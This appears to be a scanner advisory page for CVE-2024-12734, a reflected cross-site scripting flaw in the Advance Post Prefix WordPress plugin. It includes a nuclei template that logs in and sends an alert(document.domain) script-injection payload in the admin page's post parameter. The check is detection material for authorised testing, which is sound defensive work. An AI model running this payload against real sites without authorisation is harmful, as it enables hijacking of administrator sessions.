Advance Post Prefix WordPress plugin - Reflected XSS

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

48%of all CVEs are less likely

Readycheck to confirm it

Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.

Fix

Update to the latest version of Advance Post Prefix WordPress plugin.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=add-prefix&post="></script><script>alert(document.domain)</script><script>`
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>`","advance-post-prefix")

Run it with nuclei: nuclei -id CVE-2024-12734 -u <target>

The full check

id: CVE-2024-12734

info:
  name: Advance Post Prefix WordPress plugin - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    Advance Post Prefix WordPress plugin through 1.1.1 contains a reflected cross-site scripting caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to the latest version of Advance Post Prefix WordPress plugin.
  reference:
    - https://wpscan.com/vulnerability/038b44dc-0495-4f56-ae7e-c78a265aa535/
    - https://nvd.nist.gov/vuln/detail/cve-2024-12734
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12734
    cwe-id: CWE-79
    epss-score: 0.00579
    epss-percentile: 0.47994
    cpe: cpe:2.3:a:niceit:advance_post_prefix:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: niceit
    product: advance_post_prefix
  tags: cve,cve2024,niceit,advance-post-prefix,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=add-prefix&post="></script><script>alert(document.domain)</script><script>` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`","advance-post-prefix")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from